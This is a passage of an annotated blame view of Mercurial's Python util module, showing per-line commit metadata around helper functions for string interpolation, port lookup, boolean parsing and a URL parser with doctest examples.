util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents:
10282
diff
changeset
|
2641 return -1 |
9501cde4c034
util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents:
10282
diff
changeset
|
2642 time.sleep(0.1) |
9501cde4c034
util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents:
10282
diff
changeset
|
2643 return pid |
9501cde4c034
util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents:
10282
diff
changeset
|
2644 finally: |
9501cde4c034
util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents:
10282
diff
changeset
|
2645 if prevhandler is not None: |
9501cde4c034
util: make spawndetached() handle subprocess early terminations
Patrick Mezard <pmezard@gmail.com>
parents:
10282
diff
changeset
|
2646 signal.signal(signal.SIGCHLD, prevhandler) |
10438
e6dc44147234
util: add any() and all() functions for Python 2.4 compatibility
Steve Losh <steve@stevelosh.com>
parents:
10422
diff
changeset
|
2647 |
13392
777cef34a890
dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents:
13375
diff
changeset
|
2648 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False): |
11988
8380ed691df8
util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents:
11946
diff
changeset
|
2649 """Return the result of interpolating items in the mapping into string s. |
8380ed691df8
util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents:
11946
diff
changeset
|
2650 |
8380ed691df8
util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents:
11946
diff
changeset
|
2651 prefix is a single character string, or a two character string with |
8380ed691df8
util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents:
11946
diff
changeset
|
2652 a backslash as the first character if the prefix needs to be escaped in |
8380ed691df8
util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents:
11946
diff
changeset
|
2653 a regular expression. |
8380ed691df8
util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents:
11946
diff
changeset
|
2654 |
8380ed691df8
util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents:
11946
diff
changeset
|
2655 fn is an optional function that will be applied to the replacement text |
8380ed691df8
util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents:
11946
diff
changeset
|
2656 just before replacement. |
13392
777cef34a890
dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents:
13375
diff
changeset
|
2657 |
777cef34a890
dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents:
13375
diff
changeset
|
2658 escape_prefix is an optional flag that allows using doubled prefix for |
777cef34a890
dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents:
13375
diff
changeset
|
2659 its escaping. |
11988
8380ed691df8
util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents:
11946
diff
changeset
|
2660 """ |
8380ed691df8
util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents:
11946
diff
changeset
|
2661 fn = fn or (lambda s: s) |
13392
777cef34a890
dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents:
13375
diff
changeset
|
2662 patterns = '|'.join(mapping.keys()) |
777cef34a890
dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents:
13375
diff
changeset
|
2663 if escape_prefix: |
777cef34a890
dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents:
13375
diff
changeset
|
2664 patterns += '|' + prefix |
777cef34a890
dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents:
13375
diff
changeset
|
2665 if len(prefix) > 1: |
777cef34a890
dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents:
13375
diff
changeset
|
2666 prefix_char = prefix[1:] |
777cef34a890
dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents:
13375
diff
changeset
|
2667 else: |
777cef34a890
dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents:
13375
diff
changeset
|
2668 prefix_char = prefix |
777cef34a890
dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents:
13375
diff
changeset
|
2669 mapping[prefix_char] = prefix_char |
35145
25c543944bc0
py3: add b'' to regular expressions which are raw strings
Pulkit Goyal <7895pulkit@gmail.com>
parents:
35014
diff
changeset
|
2670 r = remod.compile(br'%s(%s)' % (prefix, patterns)) |
11988
8380ed691df8
util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents:
11946
diff
changeset
|
2671 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s) |
8380ed691df8
util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents:
11946
diff
changeset
|
2672 |
12076
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2673 def getport(port): |
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2674 """Return the port for a given network service. |
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2675 |
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2676 If port is an integer, it's returned as is. If it's a string, it's |
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2677 looked up using socket.getservbyname(). If there's no matching |
26587
56b2bcea2529
error: get Abort from 'error' instead of 'util'
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
26493
diff
changeset
|
2678 service, error.Abort is raised. |
12076
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2679 """ |
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2680 try: |
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2681 return int(port) |
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2682 except ValueError: |
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2683 pass |
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2684 |
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2685 try: |
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2686 return socket.getservbyname(port) |
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2687 except socket.error: |
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2688 raise Abort(_("no port number associated with service '%s'") % port) |
12087
a88a4720c2f0
parsebool: create new function and use it for config parsing
Augie Fackler <durin42@gmail.com>
parents:
12086
diff
changeset
|
2689 |
12088
1f71dffabc53
parsebool: accept always as true and never as false
Augie Fackler <durin42@gmail.com>
parents:
12087
diff
changeset
|
2690 _booleans = {'1': True, 'yes': True, 'true': True, 'on': True, 'always': True, |
1f71dffabc53
parsebool: accept always as true and never as false
Augie Fackler <durin42@gmail.com>
parents:
12087
diff
changeset
|
2691 '0': False, 'no': False, 'false': False, 'off': False, |
1f71dffabc53
parsebool: accept always as true and never as false
Augie Fackler <durin42@gmail.com>
parents:
12087
diff
changeset
|
2692 'never': False} |
12087
a88a4720c2f0
parsebool: create new function and use it for config parsing
Augie Fackler <durin42@gmail.com>
parents:
12086
diff
changeset
|
2693 |
a88a4720c2f0
parsebool: create new function and use it for config parsing
Augie Fackler <durin42@gmail.com>
parents:
12086
diff
changeset
|
2694 def parsebool(s): |
a88a4720c2f0
parsebool: create new function and use it for config parsing
Augie Fackler <durin42@gmail.com>
parents:
12086
diff
changeset
|
2695 """Parse s into a boolean. |
a88a4720c2f0
parsebool: create new function and use it for config parsing
Augie Fackler <durin42@gmail.com>
parents:
12086
diff
changeset
|
2696 |
a88a4720c2f0
parsebool: create new function and use it for config parsing
Augie Fackler <durin42@gmail.com>
parents:
12086
diff
changeset
|
2697 If s is not a valid boolean, returns None. |
a88a4720c2f0
parsebool: create new function and use it for config parsing
Augie Fackler <durin42@gmail.com>
parents:
12086
diff
changeset
|
2698 """ |
a88a4720c2f0
parsebool: create new function and use it for config parsing
Augie Fackler <durin42@gmail.com>
parents:
12086
diff
changeset
|
2699 return _booleans.get(s.lower(), None) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2700 |
14077
c285bdb0572a
util.url: copy urllib.unquote() into util to improve startup times
Brodie Rao <brodie@bitheap.org>
parents:
14076
diff
changeset
|
2701 _hextochr = dict((a + b, chr(int(a + b, 16))) |
30054
8b89521a69ba
util: use string.hexdigits instead of defining it ourselves
Augie Fackler <augie@google.com>
parents:
30053
diff
changeset
|
2702 for a in string.hexdigits for b in string.hexdigits) |
14077
c285bdb0572a
util.url: copy urllib.unquote() into util to improve startup times
Brodie Rao <brodie@bitheap.org>
parents:
14076
diff
changeset
|
2703 |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2704 class url(object): |
14146
1618c4f6f15b
tests: use raw string for url tests of '\' handling
Mads Kiilerich <mads@kiilerich.com>
parents:
14100
diff
changeset
|
2705 r"""Reliable URL parser. |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2706 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2707 This parses URLs and provides attributes for the following |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2708 components: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2709 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2710 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment> |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2711 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2712 Missing components are set to None. The only exception is |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2713 fragment, which is set to '' if present but empty. |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2714 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2715 If parsefragment is False, fragment is included in query. If |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2716 parsequery is False, query is included in path. If both are |
924c82157d46
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2717 False, both fragment and query are included in path. |
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2718 |
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2719 See http://www.ietf.org/rfc/rfc2396.txt for more information. |
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2720 |
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2721 Note that for backward compatibility reasons, bundle URLs do not |
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2722 take host names. That means 'bundle://../' has a path of '../'. |
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2723 |
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|
2724 Examples: |
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|
2725 |
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|
2726 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt') |
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2727 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'> |
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|
2728 >>> url(b'ssh://[::1]:2200//home/joe/repo') |
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|
2729 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'> |
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|
2730 >>> url(b'file:///home/joe/repo') |
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2731 <url scheme: 'file', path: '/home/joe/repo'> |
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diff
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|
2732 >>> url(b'file:///c:/temp/foo/') |
14915
28edd65000d9
url: handle urls of the form file:///c:/foo/bar/ correctly
Matt Mackall <mpm@selenic.com>
parents:
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diff
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|
2733 <url scheme: 'file', path: 'c:/temp/foo/'> |
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|
2734 >>> url(b'bundle:foo') |
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|
2735 <url scheme: 'bundle', path: 'foo'> |
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|
2736 >>> url(b'bundle://../foo') |
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2737 <url scheme: 'bundle', path: '../foo'> |
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|
2738 >>> url(br'c:\foo\bar') |
14146
1618c4f6f15b
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Mads Kiilerich <mads@kiilerich.com>
parents:
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diff
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|
2739 <url path: 'c:\\foo\\bar'> |
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|
2740 >>> url(br'\\blah\blah\blah') |
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Matt Mackall <mpm@selenic.com>
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|
2741 <url path: '\\\\blah\\blah\\blah'> |
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|
2742 >>> url(br'\\blah\blah\blah#baz') |
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Matt Mackall <mpm@selenic.com>
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|
2743 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'> |
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|
2744 >>> url(br'file:///C:\users\me') |
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Simon Heimberg <simohe@besonet.ch>
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|
2745 <url scheme: 'file', path: 'C:\\users\\me'> |
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2746 |
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|
2747 Authentication credentials: |
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|
2748 |
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2749 >>> url(b'ssh://joe:xyz@x/repo') |
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|
2750 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'> |
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|
2751 >>> url(b'ssh://joe@x/repo') |
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2752 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'> |
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|
2753 |
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2754 Query strings and fragments: |
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|
2755 |
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2756 >>> url(b'http://host/a?b#c') |
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|
2757 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'> |
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|
2758 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False) |
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2759 <url scheme: 'http', host: 'host', path: 'a?b#c'> |
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|
2760 |
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|
2761 Empty path: |
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|
2762 |
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|
2763 >>> url(b'') |
30036
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|
2764 <url path: ''> |
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|
2765 >>> url(b'#a') |
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|
2766 <url path: '', fragment: 'a'> |
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|
2767 >>> url(b'http://host/') |
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|
2768 <url scheme: 'http', host: 'host', path: ''> |
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|
2769 >>> url(b'http://host/#a') |
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|
2770 <url scheme: 'http', host: 'host', path: '', fragment: 'a'> |
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|
2771 |
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|
2772 Only scheme: |
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|
2773 |
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|
2774 >>> url(b'http:') |
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|
2775 <url scheme: 'http'> |
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2776 """ |
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|
2777 |
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|
2778 _safechars = "!~*'()+" |
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|
2779 _safepchars = "/!~*'()+:\\" |
30329
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Augie Fackler <augie@google.com>
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|
2780 _matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match |
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2781 |
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2782 def __init__(self, path, parsequery=True, parsefragment=True): |
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2783 # We slowly chomp away at path until we have only the path left |
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2784 self.scheme = self.user = self.passwd = self.host = None |
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2785 self.port = self.path = self.query = self.fragment = None |
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2786 self._localpath = True |
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|
2787 self._hostport = '' |
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|
2788 self._origpath = path |
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|
2789 |
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|
2790 if parsefragment and '#' in path: |
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|
2791 path, self.fragment = path.split('#', 1) |
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|
2792 |
14699
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Matt Mackall <mpm@selenic.com>
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diff
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|
2793 # special case for Windows drive letters and UNC paths |
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|
2794 if hasdriveletter(path) or path.startswith('\\\\'): |
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2795 self.path = path |
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2796 return |
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|
2797 |
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|
2798 # For compatibility reasons, we can't handle bundle paths as |
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|
2799 # normal URLS |
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2800 if path.startswith('bundle:'): |
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|
2801 self.scheme = 'bundle' |
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2802 path = path[7:] |
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|
2803 if path.startswith('//'): |
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2804 path = path[2:] |
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2805 self.path = path |
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|
2806 return |
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|
2807 |
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|
2808 if self._matchscheme(path): |
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2809 parts = path.split(':', 1) |
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|
2810 if parts[0]: |
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|
2811 self.scheme, path = parts |
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2812 self._localpath = False |
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2813 |
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|
2814 if not path: |
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|
2815 path = None |
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2816 if self._localpath: |
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2817 self.path = '' |
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|
2818 return |
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2819 else: |
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2820 if self._localpath: |
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|
2821 self.path = path |
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|
2822 return |
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|
2823 |
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|
2824 if parsequery and '?' in path: |
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|
2825 path, self.query = path.split('?', 1) |
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|
2826 if not path: |
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|
2827 path = None |
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14064
diff
changeset
|
2828 if not self.query: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
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diff
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|
2829 self.query = None |
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url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
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diff
changeset
|
2830 |
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Brodie Rao <brodie@bitheap.org>
parents:
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diff
changeset
|
2831 # // is required to specify a host/authority |
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url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
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diff
changeset
|
2832 if path and path.startswith('//'): |
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url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
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diff
changeset
|
2833 parts = path[2:].split('/', 1) |
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url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
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diff
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|
2834 if len(parts) > 1: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
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diff
changeset
|
2835 self.host, path = parts |
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Brodie Rao <brodie@bitheap.org>
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diff
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|
2836 else: |
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url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
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diff
changeset
|
2837 self.host = parts[0] |
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Brodie Rao <brodie@bitheap.org>
parents:
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diff
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|
2838 path = None |
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url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
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diff
changeset
|
2839 if not self.host: |
924c82157d46
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Brodie Rao <brodie@bitheap.org>
parents:
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diff
changeset
|
2840 self.host = None |
15018
e89f62dcd723
url: really handle urls of the form file:///c:/foo/bar/ correctly
Mads Kiilerich <mads@kiilerich.com>
parents:
14988
diff
changeset
|
2841 # path of file:///d is /d |
e89f62dcd723
url: really handle urls of the form file:///c:/foo/bar/ correctly
Mads Kiilerich <mads@kiilerich.com>
parents:
14988
diff
changeset
|
2842 # path of file:///d:/ is d:/, not /d:/ |
14915
28edd65000d9
url: handle urls of the form file:///c:/foo/bar/ correctly
Matt Mackall <mpm@selenic.com>
parents:
14825
diff
changeset
|
2843 if path and not hasdriveletter(path): |
14076
924c82157d46
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Brodie Rao <brodie@bitheap.org>
parents:
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diff
changeset
|
2844 path = '/' + path |
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url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
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diff
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|
2845 |
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Brodie Rao <brodie@bitheap.org>
parents:
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diff
changeset
|
2846 if self.host and '@' in self.host: |
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Brodie Rao <brodie@bitheap.org>
parents:
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diff
changeset
|
2847 self.user, self.host = self.host.rsplit('@', 1) |
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Brodie Rao <brodie@bitheap.org>
parents:
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diff
changeset
|
2848 if ':' in self.user: |
924c82157d46
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Brodie Rao <brodie@bitheap.org>
parents:
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diff
changeset
|
2849 self.user, self.passwd = self.user.split(':', 1) |
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Brodie Rao <brodie@bitheap.org>
parents:
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diff
changeset
|
2850 if not self.host: |
924c82157d46
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Brodie Rao <brodie@bitheap.org>
parents:
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diff
changeset
|
2851 self.host = None |
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Brodie Rao <brodie@bitheap.org>
parents:
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diff
changeset
|
2852 |
924c82157d46
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Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2853 # Don't split on colons in IPv6 addresses without ports |
924c82157d46
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Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2854 if (self.host and ':' in self.host and |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
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diff
changeset
|
2855 not (self.host.startswith('[') and self.host.endswith(']'))): |
924c82157d46
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Brodie Rao <brodie@bitheap.org>
parents:
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diff
changeset
|
2856 self._hostport = self.host |
924c82157d46
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Brodie Rao <brodie@bitheap.org>
parents:
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diff
changeset
|
2857 self.host, self.port = self.host.rsplit(':', 1) |
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Brodie Rao <brodie@bitheap.org>
parents:
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diff
changeset
|
2858 if not self.host: |
924c82157d46
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Brodie Rao <brodie@bitheap.org>
parents:
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diff
changeset
|
2859 self.host = None |
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Brodie Rao <brodie@bitheap.org>
parents:
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diff
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|
2860 |
924c82157d46
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Brodie Rao <brodie@bitheap.org>
parents:
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diff
changeset
|
2861 if (self.host and self.scheme == 'file' and |
924c82157d46
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Brodie Rao <brodie@bitheap.org>
parents:
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diff
changeset
|
2862 self.host not in ('localhost', '127.0.0.1', '[::1]')): |
924c82157d46
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Brodie Rao <brodie@bitheap.org>
parents:
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diff
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|
2863 raise Abort(_('file:// URLs can only refer to localhost')) |
924c82157d46
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Brodie Rao <brodie@bitheap.org>
parents:
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diff
changeset
|
2864 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
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diff
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|
2865 self.path = path |
924c82157d46
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Brodie Rao <brodie@bitheap.org>
parents:
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diff
changeset
|
2866 |
14988
e6730f9e13bc
url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
14915
diff
changeset
|
2867 # leave the query string escaped |
14076
924c82157d46
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Brodie Rao <brodie@bitheap.org>
parents:
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diff
changeset
|
2868 for a in ('user', 'passwd', 'host', 'port', |
14988
e6730f9e13bc
url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
14915
diff
changeset
|
2869 'path', 'fragment'): |
14076
924c82157d46
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Brodie Rao <brodie@bitheap.org>
parents:
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diff
changeset
|
2870 v = getattr(self, a) |
924c82157d46
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Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2871 if v is not None: |
31567
4ebecf331d7d
util: use urlreq.unquote
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31541
diff
changeset
|
2872 setattr(self, a, urlreq.unquote(v)) |
14076
924c82157d46
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Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2873 |
34072
30535fe47e78
py3: fix repr(util.url) to return system string
Yuya Nishihara <yuya@tcha.org>
parents:
34052
diff
changeset
|
2874 @encoding.strmethod |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2875 def __repr__(self): |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2876 attrs = [] |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2877 for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path', |
924c82157d46
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Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2878 'query', 'fragment'): |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
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diff
changeset
|
2879 v = getattr(self, a) |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2880 if v is not None: |
924c82157d46
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Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2881 attrs.append('%s: %r' % (a, v)) |
924c82157d46
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Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2882 return '<url %s>' % ', '.join(attrs) |
924c82157d46
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Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2883 |
33022
ce96efec8112
py3: add utility to forward __str__() to __bytes__()
Yuya Nishihara <yuya@tcha.org>
parents:
32886
diff
changeset
|
2884 def __bytes__(self): |
14147
617483af1cc0
test: test that backslash is preserved by the url class
Mads Kiilerich <mads@kiilerich.com>
parents:
14146
diff
changeset
|
2885 r"""Join the URL's components back into a URL string. |
14076
924c82157d46
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Brodie Rao <brodie@bitheap.org>
parents:
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diff
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|
2886 |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2887 Examples: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2888 |
34134
d4d4d11bac77
doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents:
34131
diff
changeset
|
2889 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar')) |
15452
de7e2fba4326
util: don't encode ':' in url paths
Mads Kiilerich <mads@kiilerich.com>
parents:
15392
diff
changeset
|
2890 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar' |
34134
d4d4d11bac77
doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents:
34131
diff
changeset
|
2891 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42')) |
14988
e6730f9e13bc
url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
14915
diff
changeset
|
2892 'http://user:pw@host:80/?foo=bar&baz=42' |
34134
d4d4d11bac77
doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents:
34131
diff
changeset
|
2893 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz')) |
14988
e6730f9e13bc
url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
14915
diff
changeset
|
2894 'http://user:pw@host:80/?foo=bar%3dbaz' |
34134
d4d4d11bac77
doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents:
34131
diff
changeset
|
2895 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#')) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2896 'ssh://user:pw@[::1]:2200//home/joe#' |
34134
d4d4d11bac77
doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents:
34131
diff
changeset
|
2897 >>> bytes(url(b'http://localhost:80//')) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2898 'http://localhost:80//' |
34134
d4d4d11bac77
doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents:
34131
diff
changeset
|
2899 >>> bytes(url(b'http://localhost:80/')) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2900 'http://localhost:80/' |
34134
d4d4d11bac77
doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents:
34131
diff
changeset
|
2901 >>> bytes(url(b'http://localhost:80')) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2902 'http://localhost:80/' |
34134
d4d4d11bac77
doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents:
34131
diff
changeset
|
2903 >>> bytes(url(b'bundle:foo')) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2904 'bundle:foo' |
34134
d4d4d11bac77
doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents:
34131
diff
changeset
|
2905 >>> bytes(url(b'bundle://../foo')) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2906 'bundle:../foo' |
34134
d4d4d11bac77
doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents:
34131
diff
changeset
|
2907 >>> bytes(url(b'path')) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2908 'path' |
34134
d4d4d11bac77
doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents:
34131
diff
changeset
|
2909 >>> bytes(url(b'file:///tmp/foo/bar')) |
14313
a389dd285282
util: make str(url) return file:/// for abs paths again
Peter Arrenbrecht <peter.arrenbrecht@gmail.com>
parents:
14271
diff
changeset
|
2910 'file:///tmp/foo/bar' |
34134
d4d4d11bac77
doctest: replace str() with bytes()
Yuya Nishihara <yuya@tcha.org>
parents:
34131
diff
changeset
|
2911 >>> bytes(url(b'file:///c:/tmp/foo/bar')) |
15611 | 2912 'file:///c:/tmp/foo/bar' |
34137
a8994d08e4a2
doctest: use print_function and convert bytes to unicode where needed
Yuya Nishihara <yuya@tcha.org>
parents:
34134
diff
changeset
|
2913 >>> print(url(br'bundle:foo\bar')) |
14147
617483af1cc0
test: test that backslash is preserved by the url class
Mads Kiilerich <mads@kiilerich.com>
parents:
14146
diff
changeset
|
2914 bundle:foo\bar |
34137
a8994d08e4a2
doctest: use print_function and convert bytes to unicode where needed
Yuya Nishihara <yuya@tcha.org>
parents:
34134
diff
changeset
|
2915 >>> print(url(br'file:///D:\data\hg')) |
20106
c33d9217e99d
util: url keeps backslash in paths
Simon Heimberg <simohe@besonet.ch>
parents:
20000
diff
changeset
|
2916 file:///D:\data\hg |
14076
